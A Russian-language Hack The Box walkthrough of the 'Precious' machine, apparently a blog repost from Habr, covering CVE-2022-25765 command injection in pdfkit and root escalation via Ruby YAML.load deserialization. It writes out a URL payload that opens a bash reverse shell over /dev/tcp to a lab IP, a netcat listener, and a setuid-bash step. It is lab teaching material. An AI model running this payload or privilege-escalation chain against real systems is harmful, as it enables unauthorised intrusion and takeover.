{"id":342426,"date":"2022-12-11T21:01:12","date_gmt":"2022-12-11T21:01:12","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=342426"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=342426","title":{"rendered":"<span>Hack The Box. \u041f\u0440\u043e\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 Precious. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-25765<\/span>"},"content":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h2>\u0421\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/h2>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e, \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043c\u0430\u0448\u0438\u043d\u0435.<\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c nmap \u0441 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 -sV -sC:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/aa3\/ac2\/873\/aa3ac2873ddc6e1059dc8cd4ac18e76f.png\" width=\"826\" height=\"609\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/aa3\/ac2\/873\/aa3ac2873ddc6e1059dc8cd4ac18e76f.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u043f\u043e\u0440\u0442 22 \u0438 \u043f\u043e\u0440\u0442 80 \u2014 \u043e\u043a\u0442\u0440\u044b\u0442\u044b. \u0412\u0438\u0434\u0438\u043c , \u0447\u0442\u043e \u043f\u043e\u0440\u0442 80 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430\u00a0 <a href=\"http:\/\/precious.htb\/\" rel=\"noopener noreferrer nofollow\">http:\/\/precious.htb<\/a> . \u0427\u0442\u043e\u0431 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u0430\u0439\u0442, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0435\u0433\u043e \u0432 \/etc\/hosts .<\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u0430\u043a\u0438\u0435 \u0435\u0441\u0442\u044c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 dirsearch:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e5d\/067\/f65\/e5d067f65949d022e0b8ec4b9d054568.png\" width=\"826\" height=\"609\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e5d\/067\/f65\/e5d067f65949d022e0b8ec4b9d054568.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0422\u0443\u0442 \u043d\u0438\u0447\u0435\u0433\u043e. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c web server. \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043d\u0430 precious.htb , \u0432\u0438\u0434\u0438\u043c \u0442\u0430\u043a\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/490\/8c1\/5cd\/4908c15cd9553a696b8d1cda4af5a8d2.PNG\" width=\"1226\" height=\"476\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0412\u0435\u0431 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u0438 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432 \u0444\u0430\u0439\u043b PDF. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043b\u0438. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0443 \u0441\u0435\u0431\u044f.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e48\/945\/34b\/e4894534bbf321f4b78828513e5f3040.png\" width=\"716\" height=\"213\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e48\/945\/34b\/e4894534bbf321f4b78828513e5f3040.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c index.html \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 localhost, \u0438 \u0432\u043d\u0435\u0441\u0451\u043c \u0435\u0433\u043e \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 :<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c6c\/d11\/adc\/c6cd11adc61ef4afb3ec644263635182.png\" width=\"1366\" height=\"756\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c6c\/d11\/adc\/c6cd11adc61ef4afb3ec644263635182.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e! \u0421\u043a\u0430\u0447\u0430\u043b\u0438 PDF \u0444\u0430\u0439\u043b, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0447\u0442\u043e \u043e\u043d \u0438\u0437 \u0441\u0435\u0431\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/002\/599\/25c\/00259925cb25f61028c4ffbbe4fe6744.png\" width=\"1366\" height=\"768\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/002\/599\/25c\/00259925cb25f61028c4ffbbe4fe6744.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0433\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430, \u043e\u043d \u0441\u043e\u0437\u0434\u0430\u043d pdfkit v.0.8.6 .<\/p>\n<p>\u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PDF \u0444\u0430\u0439\u043b. \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0433\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u0438\u0434\u0438\u043c \u0447\u0442\u043e PDF \u0441\u043e\u0437\u0434\u0430\u043d pdfkit v.0.8.6 .<\/p>\n<p>\u0411\u0435\u0433\u043b\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 google \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043d\u0430\u0441 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-25765, \u0438 \u043c\u043e\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0430 \u0432\u0435\u0440\u0441\u0438\u044f pdfkit \u0443\u044f\u0437\u0432\u0438\u043c\u0430 \u043a command injections.<\/p>\n<p>\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 CVE \u043c\u043e\u0436\u043d\u043e \u0442\u0443\u0442: <a href=\"https:\/\/security.snyk.io\/vuln\/SNYK-RUBY-PDFKIT-2869795\" rel=\"noopener noreferrer nofollow\">https:\/\/security.snyk.io\/vuln\/SNYK-RUBY-PDFKIT-2869795<\/a><\/p>\n<p>\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e CVE, \u201can application could be vulnerable if it tries to render a URL that contains query string parameters with user input\u201d \u0438 \u201cif the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF\u201d. \u042d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u044c!<\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c netcat \u043d\u0430 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u043a\u0443 \u043f\u043e\u0440\u0442\u0430 4444:<\/p>\n<p>sudo nc -lnvp 4444<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/94b\/de9\/563\/94bde95636b6549c2b9257151840810c.png\" width=\"716\" height=\"213\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/94b\/de9\/563\/94bde95636b6549c2b9257151840810c.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0412 \u0432\u0435\u0431 \u0441\u0435\u0440\u0432\u0438\u0441\u0435 http:\/\/precious.htb \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u043f\u043e\u0434 \u043d\u0430\u0448\u0438 \u043d\u0443\u0436\u0434\u044b \u0438 \u0432\u0432\u0435\u0434\u0451\u043c:<\/p>\n<p>http:\/\/localhost.com\/?name=#{&#8216;%20`bash -c &#171;bash -i >&amp; \/dev\/tcp\/10.10.14.33\/4444 0>&amp;1&#8243;`&#8217;}<\/p>\n<p>\u00a0\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0432 terminal \u0438 \u0432\u0438\u0434\u0438\u043c, \u0447\u0442\u043e \u043c\u044b \u0432\u043e\u0448\u043b\u0438.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/368\/099\/451\/3680994510213c7272fed9876aee997c.png\" width=\"846\" height=\"235\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/368\/099\/451\/3680994510213c7272fed9876aee997c.png\"\/><figcaption><\/figcaption><\/figure>\n<h2>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c user flag:<\/h2>\n<p>Whoami \u2192 ruby<\/p>\n<p>\u0418\u0442\u0430\u043a \u043c\u044b \u0437\u0430\u043b\u043e\u0433\u0438\u043d\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u0430\u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c ruby. \u041f\u0435\u0440\u0435\u043c\u0435\u0441\u0442\u0438\u043c\u0441\u044f \u0432 \u043f\u0430\u043f\u043a\u0443 \/home \u0438 \u0432 \u043d\u0435\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0435\u0449\u0451 \u0434\u0432\u0435 \u043f\u0430\u043f\u043a\u0438. \u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0438\u0445 \u043d\u0430\u0448 ruby user, \u0430 \u0432\u0442\u043e\u0440\u0430\u044f \u0434\u043b\u044f user\u2019\u0430 henry. \u0412\u043d\u0443\u0442\u0440\u0438 \u043f\u0430\u043f\u043a\u0438 henry \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u0444\u0430\u0439\u043b user.txt . \u042d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u043d\u0430\u0448 \u0444\u043b\u0430\u0433. \u041d\u043e \u043f\u043e\u043a\u0430 \u043d\u0435 \u0438\u043c\u0435\u0435\u043c \u043a \u043d\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u0430.<\/p>\n<p>\u041e\u0441\u043c\u043e\u0442\u0440\u0435\u0432\u0448\u0438\u0441\u044c, \u043d\u0430\u0445\u043e\u0434\u0438\u043c \u0444\u0430\u0439\u043b \u0432 \/home\/ruby\/.bundle, \u043d\u0430\u0437\u0432\u0430\u043d\u044b\u0439 config.<\/p>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 cat config. \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f user\u2019\u0430 henry.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/51b\/9b1\/9a9\/51b9b19a9c7cb61dcb43f3364430f0ac.png\" width=\"1166\" height=\"323\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/51b\/9b1\/9a9\/51b9b19a9c7cb61dcb43f3364430f0ac.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0434\u0430\u043d\u043d\u044b\u0435 henry, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u043c\u0441\u044f \u043f\u043e ssh \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043f\u043e\u0434 user\u2019\u043e\u043c henry:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/423\/382\/338\/42338233885cccafc01c6b9da49506b2.png\" width=\"926\" height=\"389\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/423\/382\/338\/42338233885cccafc01c6b9da49506b2.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c user.txt, \u0438 \u0431\u0435\u0440\u0451\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0444\u043b\u0430\u0433!<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/2c8\/c30\/11b\/2c8c3011b35f28d5b8fcbbb992f1e75c.png\" width=\"926\" height=\"389\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/2c8\/c30\/11b\/2c8c3011b35f28d5b8fcbbb992f1e75c.png\"\/><figcaption><\/figcaption><\/figure>\n<h2>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root flag:<\/h2>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u0430\u043a henry, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c. \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u0443 sudo -l, \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/d3f\/9a5\/0c3\/d3f9a50c302f5f3135b0b6be230693cd.png\" width=\"926\" height=\"389\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/d3f\/9a5\/0c3\/d3f9a50c302f5f3135b0b6be230693cd.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u041f\u043e\u0445\u043e\u0436\u0435 henry \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0444\u0430\u0439\u043b update_dependencies.rb , \u043a\u0430\u043a root, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c cat \u0438 \u0438\u0437\u0443\u0447\u0438\u043c \u0444\u0430\u0439\u043b.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/81a\/873\/88b\/81a87388bd5bfba0682994255fc43551.png\" width=\"1126\" height=\"719\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/81a\/873\/88b\/81a87388bd5bfba0682994255fc43551.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0421\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043a\u043e\u0434 \u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u043e\u043d \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 YAML.load , \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u044f\u0437\u0432\u0438\u043c \u043a deserialization attack.<\/p>\n<p>\u041f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u043e YAML deserialization attacks \u043c\u043e\u0436\u043d\u043e \u0442\u0443\u0442:<\/p>\n<p><a href=\"https:\/\/swisskyrepo.github.io\/PayloadsAllTheThingsWeb\/Insecure%20Deserialization\/YAML\/#ruby\" rel=\"noopener noreferrer nofollow\">https:\/\/github.com\/DevComputaria\/KnowledgeBase\/blob\/master\/pentesting-web\/deserialization\/python-yaml-deserialization.md<\/a><\/p>\n<p>\u041d\u0435\u0434\u043e\u043b\u0433\u0438\u0435 \u043f\u043e\u0438\u0441\u043a\u0438 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a <a href=\"https:\/\/staaldraad.github.io\/post\/2021-01-09-universal-rce-ruby-yaml-load-updated\/\" rel=\"noopener noreferrer nofollow\">https:\/\/staaldraad.github.io\/post\/2021-01-09-universal-rce-ruby-yaml-load-updated\/<\/a> \u043d\u0430\u0445\u043e\u0434\u0438\u043c dependencies.yml, \u0438 \u043c\u043e\u0434\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u043c \u0435\u0433\u043e. <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/f51\/b1d\/31b\/f51b1d31b0b49bf8449113d56680c52b.png\" width=\"836\" height=\"609\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/f51\/b1d\/31b\/f51b1d31b0b49bf8449113d56680c52b.png\"\/><figcaption><\/figcaption><\/figure>\n<p>Sudo nano dependencies.yml, \u0438 \u0431\u0435\u0440\u0451\u043c \u043a\u043e\u0434 \u043d\u0430 Ruby on Rails \u0438\u0437 \u043f\u043e\u0441\u0442\u0430 \u0432\u044b\u0448\u0435.<\/p>\n<p>\u0412 \u0441\u0442\u0440\u043e\u043a\u0435 git_set: id, \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u00abchmod 4777 \/bin\/bash\u00bb, \u0435\u0441\u043b\u0438 \u0432\u0441\u0451 \u043f\u0440\u043e\u0434\u0443\u043c\u0430\u043d\u043e \u0432\u0435\u0440\u043d\u043e, \u0442\u043e \u044d\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0430\u043c root.<\/p>\n<p>\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u0444\u0430\u0439\u043b.<\/p>\n<p>Sudo \/usr\/bin\/ruby \/opt\/update_dependencies.rb<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/817\/cfc\/750\/817cfc7502beaf480a83e93dff7e30ca.png\" width=\"907\" height=\"741\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/817\/cfc\/750\/817cfc7502beaf480a83e93dff7e30ca.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e!<\/p>\n<p>\u041f\u0440\u043e\u0431\u0443\u0435\u043c \/bin\/bash -p<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c2e\/96b\/625\/c2e96b6258f5ca148a56a687b6f8b04b.png\" width=\"1066\" height=\"222\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c2e\/96b\/625\/c2e96b6258f5ca148a56a687b6f8b04b.png\"\/><figcaption><\/figcaption><\/figure>\n<p>\u0413\u043e\u0442\u043e\u0432\u043e, \u0431\u0435\u0440\u0451\u043c root \u0444\u043b\u0430\u0433!<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p> <!----> <!----><\/div>\n<p> <!----> <!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/704776\/\"> https:\/\/habr.com\/ru\/post\/704776\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<h2>\u0421\u0431\u043e\u0440 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438<\/h2>\n<p>\u041f\u0440\u0435\u0436\u0434\u0435 \u0432\u0441\u0435\u0433\u043e, \u0441\u043e\u0431\u0435\u0440\u0435\u043c \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043c\u0430\u0448\u0438\u043d\u0435.<\/p>\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c nmap \u0441 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 -sV -sC:<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0421\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u043e, \u0447\u0442\u043e \u043f\u043e\u0440\u0442 22 \u0438 \u043f\u043e\u0440\u0442 80 \u2014 \u043e\u043a\u0442\u0440\u044b\u0442\u044b. \u0412\u0438\u0434\u0438\u043c , \u0447\u0442\u043e \u043f\u043e\u0440\u0442 80 \u043f\u0435\u0440\u0435\u043d\u0430\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043d\u0430\u00a0 <a href=\"http:\/\/precious.htb\/\" rel=\"noopener noreferrer nofollow\">http:\/\/precious.htb<\/a> . \u0427\u0442\u043e\u0431 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u0430\u0439\u0442, \u0434\u043e\u0431\u0430\u0432\u0438\u043c \u0435\u0433\u043e \u0432 \/etc\/hosts .<\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043a\u0430\u043a\u0438\u0435 \u0435\u0441\u0442\u044c \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 dirsearch:<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0422\u0443\u0442 \u043d\u0438\u0447\u0435\u0433\u043e. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c web server. \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u043d\u0430 precious.htb , \u0432\u0438\u0434\u0438\u043c \u0442\u0430\u043a\u0443\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0443:<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0412\u0435\u0431 \u0441\u0435\u0440\u0432\u0435\u0440 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u043e \u043a\u043e\u043d\u0432\u0435\u0440\u0442\u0430\u0446\u0438\u0438 \u0432\u0435\u0431-\u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432 \u0444\u0430\u0439\u043b PDF. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043b\u0438. \u0417\u0430\u043f\u0443\u0441\u0442\u0438\u043c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0443 \u0441\u0435\u0431\u044f.<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0421\u043e\u0437\u0434\u0430\u0434\u0438\u043c index.html \u0432 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 localhost, \u0438 \u0432\u043d\u0435\u0441\u0451\u043c \u0435\u0433\u043e \u0432 \u0430\u0434\u0440\u0435\u0441\u043d\u0443\u044e \u0441\u0442\u0440\u043e\u043a\u0443 :<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0421\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u043e! \u0421\u043a\u0430\u0447\u0430\u043b\u0438 PDF \u0444\u0430\u0439\u043b, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0447\u0442\u043e \u043e\u043d \u0438\u0437 \u0441\u0435\u0431\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442:<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0433\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430, \u043e\u043d \u0441\u043e\u0437\u0434\u0430\u043d pdfkit v.0.8.6 .<\/p>\n<p>\u0412\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u044b\u0439 PDF \u0444\u0430\u0439\u043b. \u0421\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0433\u043e \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0432\u0438\u0434\u0438\u043c \u0447\u0442\u043e PDF \u0441\u043e\u0437\u0434\u0430\u043d pdfkit v.0.8.6 .<\/p>\n<p>\u0411\u0435\u0433\u043b\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0432 google \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043d\u0430\u0441 \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-25765, \u0438 \u043c\u043e\u0436\u043d\u043e \u0443\u0437\u043d\u0430\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u0430 \u0432\u0435\u0440\u0441\u0438\u044f pdfkit \u0443\u044f\u0437\u0432\u0438\u043c\u0430 \u043a command injections.<\/p>\n<p>\u041e\u0437\u043d\u0430\u043a\u043e\u043c\u0438\u0442\u044c\u0441\u044f \u0441 CVE \u043c\u043e\u0436\u043d\u043e \u0442\u0443\u0442: <a 